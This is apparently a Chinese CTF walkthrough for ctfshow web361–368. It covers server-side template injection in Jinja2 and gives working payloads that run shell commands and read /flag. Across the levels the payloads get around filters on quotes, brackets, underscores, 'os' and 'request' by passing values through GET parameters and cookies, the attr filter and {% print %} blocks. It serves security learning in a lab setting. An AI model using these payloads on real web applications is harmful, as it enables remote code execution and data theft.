ctfshow-web入门-SSTI(web361-web368)上

目录

1、web361

2、web362

3、web363

4、web364

5、web365

6、web366

7、web367

8、web368


1、web361

测试一下存在 SSTI 注入

方法很多

(1)使用子类可以直接调用的函数来打

payload1:

复制代码
?name={{''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}

payload2:

复制代码
?name={{''.__class__.__base__.__subclasses__()[407]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()}}

(2)使用重载函数

payload3:

复制代码
?name={{''.__class__.__base__.__subclasses__()[290].__init__.__globals__['os'].popen('cat /flag').read()}}

payload4:

复制代码
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

payload5:

复制代码
?name={{''.__class__.__base__.__subclasses__()[292].__init__.__globals__['linecache']['os'].popen('ls /').read()}}}}

(3)使用内嵌函数

payload6:

复制代码
?name={{''.__class__.__base__.__subclasses__()[446].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

对于这种没有过滤的,还有其他很多很多方法,这里就不列举了。

2、web362

开始过滤

模糊测试看一下,过滤了 2 和 3

随便拿个 payload 打吧:

复制代码
?name={{''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}

3、web363

过滤了单双引号

方法也很多,这里采用 get 传参绕过:

复制代码
?name={{().__class__.__base__.__subclasses__()[94][request.args.m1](0,request.args.m2)}}&m1=get_data&m2=/flag

4、web364

过滤了 args

并且 post 传参不允许

那就传给 cookie 吧

复制代码
?name={{().__class__.__base__.__subclasses__()[94][request.cookies.m1](0,request.cookies.m2)}}
cookie传入:m1=get_data;m2=/flag

5、web365

新增过滤中括号

原本是在上面的 payload 上改,但是要连续用两次 [],有点问题,我们换个 payload:

复制代码
?name={{().__class__.__base__.__subclasses__().pop(290).__init__.__globals__.pop(request.cookies.m1).popen(request.cookies.m2).read()}}

cookie:m1=os;m2=cat /flag

这个 payload 是一次性的,因为 pop 会删除里面的键,导致环境崩溃

更保险的是使用 getitem ,方法同上

6、web366

新增过滤了下划线

前面的 payload 太长了,构造起来比较麻烦和乱

换个短点的 payload 结合过滤器绕过:

复制代码
?name={{(lipsum|attr(request.cookies.m1)).os.popen(request.cookies.m2).read()}}
cookie:m1=__globals__;m2=cat /flag

7、web367

新增过滤 os

一起传给 cookie

复制代码
?name={{(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read()}}

cookie:m1=__globals__;m2=cat /flag;m3=os

8、web368

双大括号中过滤了 request

但是 {% %} 中可用

payload:

复制代码
?name={%print((lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read())%}

cookie:m1=__globals__;m2=cat /flag;m3=os
相关推荐
纵有疾風起14 分钟前
C++—string(1):string类的学习与使用
开发语言·c++·经验分享·学习·开源·1024程序员节
我只会写Bug啊1 小时前
Vue文件预览终极方案:PNG/EXCEL/PDF/DOCX/OFD等10+格式一键渲染,开源即用!
前端·vue.js·pdf·excel·预览
wanhengidc1 小时前
云手机存在的意义是什么
运维·服务器·arm开发·安全·智能手机
yue0082 小时前
C#理论学习-WinForm实践开发教程总结
开发语言·学习·c#
扯蛋4382 小时前
LangChain的学习之路( 一 )
前端·langchain·mcp
007php0073 小时前
某游戏大厂 Java 面试题深度解析(四)
java·开发语言·python·面试·职场和发展·golang·php
Mr.Jessy3 小时前
Web APIs学习第一天:获取 DOM 对象
开发语言·前端·javascript·学习·html
CodeLongBear3 小时前
Day02计算机网络网络层学习总结:从协议到路由全解析
学习·计算机网络·dubbo
景彡先生3 小时前
Python pandas数据透视表(pivot_table)详解:从入门到实战,多维数据分析利器
python·数据分析·pandas
ConardLi4 小时前
Easy Dataset 已经突破 11.5K Star,这次又带来多项功能更新!
前端·javascript·后端